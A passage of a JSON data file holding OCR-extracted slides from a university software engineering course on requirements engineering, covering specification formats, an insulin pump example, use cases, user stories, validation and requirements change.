| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_036.png", |
| "page_index": 106, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:11+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-107-0000": { |
| "id": "CO3001-chapter-3-slide-107-0000", |
| "text": "TOPICS COVERED Course's project UWC 2.0 Functional and non-functional requirements Requirements engineering processes Requirements elicitation Requirements specification Requirements validation Requirements change jep 2K CHAPTER 4.REQUIREMENTS ENGINEERING 37", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_037.png", |
| "page_index": 107, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:14+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-108-0000": { |
| "id": "CO3001-chapter-3-slide-108-0000", |
| "text": "EXERCISE:15 MINS (+ 10 MINS BREAK) Watch the clip: https://www.youtube.com/watch?v=J9p47AO0Xco Imagine that each employee will install a new Messenger App as a Task: Identify the stakeholders of the app Specify 03 functional requirements, at least one functional requirement Specify 02 non-functional requirements you can think of! Make sure they are testable! Document your answers: https://docs.google.com/spreadsheets/d/1JAkNwlClop4ajk 0cP9fJq- 54TS'1zc004gb3Q5mahl/edit?usp=sharing BK CHAPTER 4.REQUIREMENTSENGINEERING 38 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_038.png", |
| "page_index": 108, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:19+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-109-0000": { |
| "id": "CO3001-chapter-3-slide-109-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 CHAPTER 4 - REQUIREMENTS ENGINEERING Anh Nguyen-Duc Tho Quan Thanh BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_039.png", |
| "page_index": 109, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:22+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-110-0000": { |
| "id": "CO3001-chapter-3-slide-110-0000", |
| "text": "TOPICS COVERED Course's project UWC 2.0 Functional and non-functional requirements Requirements engineering processes Requirements elicitation Quality of requirements Requirements specification Requirement in Agile Requirements validation Requirements change gep 2fR.K CHAPTER 4.REQUIREMENTS ENGINEERING 40", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_040.png", |
| "page_index": 110, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:26+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-111-0000": { |
| "id": "CO3001-chapter-3-slide-111-0000", |
| "text": "ANOTHER EXAMPLE OE I NIGHTMARE REQUIREMENTS The system shall provide general word processing facilities which shall be easy to use by untrained staff and shall run on a thin Ethernet Local Area Network wired into the overhead ducting with integrated interface cards housed in each system together with additional memory if that should be necessary More than one reguirement in a paragraph Rambling: like a novel Let-out clauses: if that should be necessary Vague words: be easy to use, additional memory BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_041.png", |
| "page_index": 111, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:31+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-112-0000": { |
| "id": "CO3001-chapter-3-slide-112-0000", |
| "text": "USE CASES Notation Description Graphical notations Graphical models, supplemented by text annotations (best for functional requirements); UML use case and sequence diagrams are commonly used Use-cases are a kind of scenario - identify the actors in an interaction and which describe the interaction itself lncluded in the UML A set of use cases should describe all possible interactions with the system. show the sequence of event processing in the system BK CHAPTER 4.REQUIREMENTSENGINEERING 42 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_042.png", |
| "page_index": 112, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:37+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-113-0000": { |
| "id": "CO3001-chapter-3-slide-113-0000", |
| "text": "TOPICS COVERED Course's project UWC 2.0 Functional and non-functional requirements Requirements engineering processes Requirements elicitation Quality of requirements Requirements specification Requirement in Agile Requirements validation Requirements change gep 2fR.K CHAPTER 4.REQUIREMENTS ENGINEERING 43", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_043.png", |
| "page_index": 113, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:41+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-114-0000": { |
| "id": "CO3001-chapter-3-slide-114-0000", |
| "text": "REQUIREMENTS SPECIFICATION CHAPTER 4.REQUIREMENTS ENGINEERING 44", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_044.png", |
| "page_index": 114, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:43+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-115-0000": { |
| "id": "CO3001-chapter-3-slide-115-0000", |
| "text": "REQUIREMENTS SPECIEICATION in a requirements document. Notes: User requirements have to be understandable by end-users and customers who do not have a technical background. System requirements are more detailed requirements and may include more technical information. The requirements may be part of a contract for the system development CHAPTER 4.REQUIREMENTSENGINEERING 45", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_045.png", |
| "page_index": 115, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:48+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-116-0000": { |
| "id": "CO3001-chapter-3-slide-116-0000", |
| "text": "WAYS OE WRITING A SYSTEM REQUIREMENTS SPECIEICATION Notation Description Natural language Sentences in natural language. Each sentence should express one requirement. Structured natural Natural language s on a standard form or statements language template Design Uses a language like a programming language, but with description more abstract features languages Graphical Graphical models, supplemented by text annotations notations (best for functional requirements); UML use case and sequence diagrams are commonly used Mathematical Based on mathematical concepts such as finite-state machines or sets; Can reduce the ambiguity but hard to specifications understand (and hard to check manually) sep 2dBK CHAPTER 4.REQUIREMENTS ENGINEERING 46", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_046.png", |
| "page_index": 116, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:53+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-117-0000": { |
| "id": "CO3001-chapter-3-slide-117-0000", |
| "text": "WAYS OE WRITING A SYSTEM REQUIREMENTS SPECIEICATION Notation Description Natural language Sentences in natural language. Each sentence should express one requirement. Waste collection is often designated to an organization that provides professional waste management services. A typical waste collection process involves (1) back officers, who operate a central system to create calendar, coordinate front collectors and janitors ,(2) collectors, who drive different types of vehicles and (3) janitors who manually collect garbage from Major Collecting Points (MCPs). Calendar and tasks were assigned among teams of janitors and coordinated by back officers. These assignments are often arranged in a weekly basic. Back officers also plan which vehicles to use and their routes. This planning activity happens every month. Everyday, the back officers sent messages with information about collecting route and time to collectors and janitors. Janitors use trollers (see Figure 1b) to collect garbage in their assigned areas and deliver to the MCPs. Collectors will pick up garbage from all janitors at an MCP. One collector drives only one vehicle during his working shift. The collector will drive through several MCPs with a predetermined route by back officers. BK CHAPTER4.REQUIREMENTSENGINEERING 47 P.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_047.png", |
| "page_index": 117, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:00+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-118-0000": { |
| "id": "CO3001-chapter-3-slide-118-0000", |
| "text": "WAYS OE WRITING A SYSTEM REQUIREMENTS SPECIEICATION Notation Description Natural language Sentences in natural language. Each sentence should express one requirement. Used for writing requirements because it is expressive, intuitive and universal The requirements can be understood by users and customers. Problems Lack of clarity: Precision is difficult without making the document difficult to read. Requirements confusion: Functional and non-functional requirements tend to be mixed-up. Requirements amalgamation: Several different requirements may be expressed together. BK CHAPTER 4.REQUIREMENTSENGINEERING 48 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_048.png", |
| "page_index": 118, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:05+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-119-0000": { |
| "id": "CO3001-chapter-3-slide-119-0000", |
| "text": "STRUCTURED SPECIEICATIONS Notation Description Structured natural Natural language on a standard form or statements language template Writing on a standard form or template: Name Inputs, outputs The information needed for the computation Action Pre and post conditions (if appropriate The side effects (if any) Writing in a boiler plate template CHAPTER 4.REQUIREMENTS ENGINEERING 49", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_049.png", |
| "page_index": 119, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:09+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-120-0000": { |
| "id": "CO3001-chapter-3-slide-120-0000", |
| "text": "Insulin Pump/Control Software/SRS/3.3.2 A S PUMP Function Compute insulin dose: safe sugar level Description Computes the dose of insulin to be delivered when the current measured sugar Ievel is in the safe zone between 3 and 7 units. Inputs Current sugar reading (r2); the previous two readings (r0 and r1). Source Current sugar reading from sensor. Other readings from memory. Outputs CompDose-the dose in insulin to be delivered Destination Main control loop. Action CompDose is zero if the sugar level is stable or falling or if the level is increasing but the rate of increase is decreasing. If the level is increasing and the rate of increase is increasing, then CompDose is computed by dividing the difference between the current sugar level and the previous level by 4 and rounding the result. If the result, is rounded to zero then CompDose is set to the minimum dose that can be delivered. Requirements Two previous readings so that the rate of change of sugar level can be computed Pre-condition The insulin reservoir contains at least the maximum allowed single dose of insulin. Post-condition r0 is replaced by r1 then r1 is replaced by r2 BK Side effects None 50 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_050.png", |
| "page_index": 120, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:15+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-121-0000": { |
| "id": "CO3001-chapter-3-slide-121-0000", |
| "text": "TABULAR SPECIEICATION Particularly useful when you have to define a number of Example: Condition Action Sugar level falling (r2 < r1) CompDose = 0 Sugar level stable (r2 = r1) CompDose = 0 Sugar level increasing and rate of CompDose = 0 increase decreasing ((r2 - r1) < (r1 - r0) Sugar level increasing and rate of CompDose = round ((r2 - r1)/4) increase stable or increasing ((r2 - r1) If rounded result = 0 then (r1 - r0)) CompDose = MinimumDose BK CHAPTER 4.REQUIREMENTS ENGINEERING 51 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_051.png", |
| "page_index": 121, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:20+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-122-0000": { |
| "id": "CO3001-chapter-3-slide-122-0000", |
| "text": "CHARACTERISTICS OF GOOD SOFTWARE REQUIREMENTS SPECIFICATION Complete Unambiguous Consistent Correct Verifiable Traceable Ranked for importance and/or stability Modifiable BK * lEEE Std 830-1998 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_052.png", |
| "page_index": 122, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:24+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-123-0000": { |
| "id": "CO3001-chapter-3-slide-123-0000", |
| "text": "Actor Passenger Service USE CASE DIAGRAM Private Check-In Check-In Representative AutomatedCheck-In Actors System Use cases Boundary ExpressCheck-In Association Passenger System Relationship Boarding boundary boxes Requesting Passenger List Customs of Destination Airport Baggage Transportation Partial use case diagram for the Chemical Tracking BK System (CTS) TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_053.png", |
| "page_index": 123, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:29+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-124-0000": { |
| "id": "CO3001-chapter-3-slide-124-0000", |
| "text": "lnclude> USE CASE DIAGRAM Place Order Login - Cancel Order lnclude> Association <<Extend> Return Book BookDamaged types Venify Visitor ldentity VerifyVisitor Fingerprint Verify Visitor ID Card Partial use case diagram for the Chemical Tracking BK System (CTS) TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_054.png", |
| "page_index": 124, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:33+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-125-0000": { |
| "id": "CO3001-chapter-3-slide-125-0000", |
| "text": "System Boundary - USE CASE DIAGRAM System Association <Extend> Order Food Order Wine Actor Waiter Association Serve Food Cook Food types A Chef Serve Wine <Extend> Eat Good Extend> Drink Wine -Use Case - Patron sExtenos Pay for Food Pay for Wine Cashier Extend Partial use case diagram for the Chemical Tracking BK TP.HCM System (CTS)", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_055.png", |
| "page_index": 125, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:40+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-126-0000": { |
| "id": "CO3001-chapter-3-slide-126-0000", |
| "text": "USE CASE TEMPLATE AND EXAMPLE Use-case ID U4. Use-case name Overview MCP To provide information about Major Collecting Points (MCPs) and Use-case overview their current capacity Actors Back officers 1. The system is running Preconditions 2. Database is connected to MCPs. 3. Internet connection is available. Trigger Users click the \"MCPs' overview\" button. 1. Retrieve all MCPs' information and capacity 2. Display all information on the screen of users' devices. Steps 3. Update MCPs' capacity every 15 minutes, then retrieve new ca- pacities from the database and overwrite the old capacities with the new ones. Required information are displayed on the screen of users' devices Post conditions and are updated every 15 minutes. Exception flow None BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_056.png", |
| "page_index": 126, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:45+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-127-0000": { |
| "id": "CO3001-chapter-3-slide-127-0000", |
| "text": "Draw a use-case diagram for the whole UWC 2.0 system (not only the Task management module) https://docs.google.com/presentation/d/1NNqqt_LuHjv WQGs5ifE6s88UPA77fG6cmTzmY0olULU/edit#slide=i d.p BK CHAPTER 4.REQUIREMENTS ENGINEERING 57 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_057.png", |
| "page_index": 127, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:49+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-128-0000": { |
| "id": "CO3001-chapter-3-slide-128-0000", |
| "text": "TOPICS COVERED Course's project UWC 2.0 Functional and non-functional requirements Requirements engineering processes Requirements elicitation Quality of requirements Requirements specification Requirement in Agile Requirements validation Requirements change gep 2fR.K CHAPTER 4.REQUIREMENTS ENGINEERING 58", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_058.png", |
| "page_index": 128, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:53+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-129-0000": { |
| "id": "CO3001-chapter-3-slide-129-0000", |
| "text": "AGILE METHODS AND REQUIREMENTS Many Agile methods argue that producing detailed system requirements is a waste of time as requirements change so quickly. Agile methods usually use incremental requirements engineering and may express requirements as 'user stories' This is practical for business systems but problematic for systems that require pre-delivery analysis (e.g. critical systems) or systems developed by several teams. Sep 2dB.K CHAPTER 4.REQUIREMENTS ENGINEERING 59", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_059.png", |
| "page_index": 129, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:49:57+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-130-0000": { |
| "id": "CO3001-chapter-3-slide-130-0000", |
| "text": "AGILE METHODS AND REQUIREMENTS - USER STORY USER STORIES TASK EPIC USER STORIES TASK THEME USER TASK SToRieS EPIC USER TASK TASK STORIeS TASK TASK As a \"power user\", I can As \"user\", I can a \"backup \"have my reports\" on my my hard drive. \" dashboard\" www.agile-scrwm.be CHAPTER 4.REQUIREMENTS ENGINEERING 60", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_060.png", |
| "page_index": 130, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:03+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-131-0000": { |
| "id": "CO3001-chapter-3-slide-131-0000", |
| "text": "USER STORY What is a user story? A user story is a short, simple description of a feature told from the perspective of the person who desires the new capability, usually a user or customer of the system. User stories typically follow a simple template: As a < type of user >,1 want < some goal > so that < some reason > User stories were historically written on index cards or sticky notes, stored in a shoe box, and arranged on walls or tables to facilitate planning and discussion. Nowadays, they might just as easily be stored in a Jira issue User stories are designed to strongly shift the focus from writing about features to discussing them. In fact, these discussions are more important than whatever text is BK written. 61 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_061.png", |
| "page_index": 131, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:08+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-132-0000": { |
| "id": "CO3001-chapter-3-slide-132-0000", |
| "text": "AGILE METHODS AND REQUIREMENTS - USER STORY As a medical record stuff, I wish to view current medication from primary care general practice 1 As a medical receptionist, I want to search appointments by patients' first name, their telephone number, their date of birth or their prescribed medicine including number of prescribed medicines ordered by their categories, by weeks, and by cost Sep 2dB.K CHAPTER 4.REQUIREMENTSENGINEERING 62", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_062.png", |
| "page_index": 132, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:12+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-133-0000": { |
| "id": "CO3001-chapter-3-slide-133-0000", |
| "text": "TOPICS COVERED Course's project UWC 2.0 Functional and non-functional requirements Requirements engineering processes Requirements elicitation Quality of requirements Requirements specification Requirement in Agile Requirements validation Requirements change gep 2fR.K CHAPTER 4.REQUIREMENTS ENGINEERING 63", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_063.png", |
| "page_index": 133, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:15+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-134-0000": { |
| "id": "CO3001-chapter-3-slide-134-0000", |
| "text": "REQUIREMENTS VALIDATION Requirements error can be costly ! Costto Fix Reguirements Error (in Ratios) Development Composite of NASA Davis'Composite Discipline/Phase Studies Software (NASA)* Reguirements 1 (baseline) 1 (baseline) 1 (baseline) Design 5x 8x 2.5x - 5x Code 10x 16x 5x - 10x Test 50.5x 21x Unit Test:10x- 20x Acceptance Test: 25x - 50x Post-Deployment n/a 29x 100x-200x * NASA reviewed McGibbon (2003), Pavlina (2003), Cigital (2003), Rothman (2002), Hoffman (2001), Rothman (2000), and Boehm (1981) and assessed the median of their data, presented here. # NASA analyzed its own software projects to assess the relevance of reviewed studies. # Leffingwell & Widrig reviewed GTE,TRW,IBM, and Davis (2003),who himself reviewed several studies. The results of Davis' work are presented here. Sep 2dB.K CHAPTER 4.REQUIREMENTS ENGINEERING 64", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_064.png", |
| "page_index": 134, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:22+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-135-0000": { |
| "id": "CO3001-chapter-3-slide-135-0000", |
| "text": "REQUIREMENTS CHECKING Validity. Does the system provide the functions which best support the customer's needs? Consistency Are there any requirements conflicts? Completeness. Are all functions required by the customer included? Realism Can the requirements be implemented given available budget and technology Verifiability. Can the requirements be checked? Sep 2dBK CHAPTER 4.REQUIREMENTSENGINEERING 65", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_065.png", |
| "page_index": 135, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:26+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-136-0000": { |
| "id": "CO3001-chapter-3-slide-136-0000", |
| "text": "REQUIREMENTS VALIDATION TECHNIQUES Requirements reviews Systematic manual analysis of the requirements. Prototyping Using an executable model of the system to check requirements. Developing tests for requirements to check testability. sep 2d.K CHAPTER 4.REQUIREMENTS ENGINEERING 66", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_066.png", |
| "page_index": 136, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:29+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-137-0000": { |
| "id": "CO3001-chapter-3-slide-137-0000", |
| "text": "TOPICS COVERED Course's project Functional and non-functional requirements Requirements engineering processes Requirements elicitation Quality of requirements Requirements specification Requirement in Agile Requirements validation Requirements change gep 2fR.K CHAPTER 4.REQUIREMENTS ENGINEERING 67", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_067.png", |
| "page_index": 137, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:33+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-138-0000": { |
| "id": "CO3001-chapter-3-slide-138-0000", |
| "text": "CHANGING REQUIREMENTS The business and technical environment of the system always changes after installation. The people who pay for a system and the users of that system are rarely the same people. users having different requirements and priorities that may be conflicting or contradictory. CHAPTER 4.REQUIREMENTS ENGINEERING 68", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_068.png", |
| "page_index": 138, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:36+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-139-0000": { |
| "id": "CO3001-chapter-3-slide-139-0000", |
| "text": "REQUIREMENTS MANAGEMENT Requirements management is the process of managing changing requirements during the requirements engineering process and system development. after it has gone into use. You need to keep track of individual requirements and maintain links between dependent requirements so that you can assess the impact of requirements changes. You need to establish a to system requirements. Sep 2dB.K CHAPTER 4.REQUIREMENTSENGINEERING 69", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_069.png", |
| "page_index": 139, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:40+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-140-0000": { |
| "id": "CO3001-chapter-3-slide-140-0000", |
| "text": "REQUIREMENTS MANAGEMENT PLANNING required. Requirements management decisions: Requirements identification A change management process Traceability policies Tool support CHAPTER 4.REQUIREMENTS ENGINEERING 70", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_070.png", |
| "page_index": 140, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:43+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-141-0000": { |
| "id": "CO3001-chapter-3-slide-141-0000", |
| "text": "REQUIREMENTS CHANGE MANAGEMENT Deciding if a requirements change should be accepted Problem analysis and change specification Change analysis and costing Change implementation Identified Revised problem requirements Problem analysis and Change analysis Change change specification and costing implementation Sep 2dBK CHAPTER 4.REQUIREMENTS ENGINEERING 71", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_071.png", |
| "page_index": 141, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:48+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-142-0000": { |
| "id": "CO3001-chapter-3-slide-142-0000", |
| "text": "RESPONSE TO CHANGE: AGILE APPROACH! Cost of change usingwaterfall Cost of Change Costof change using Agile Cost of changefor idealized Agile Requirements Analysis and Coding Testing in the Production Design Large Time BK CHAPTER 4.REQUIREMENTS ENGINEERING 72 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_072.png", |
| "page_index": 142, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:52+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-143-0000": { |
| "id": "CO3001-chapter-3-slide-143-0000", |
| "text": "SUMMARY Requirements: what the system should do and constraints on its operation and implementation. Functional requirements = the services Non-functional requirements = constraints (development & use) apply to the system as a whole. The software requirements document (i.e. SRS) is an agreed statement of the system requirements. The RE process is an iterative process requirements elicitation, specification and validation. CHAPTER 4.REQUIREMENTSENGINEERING 73", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
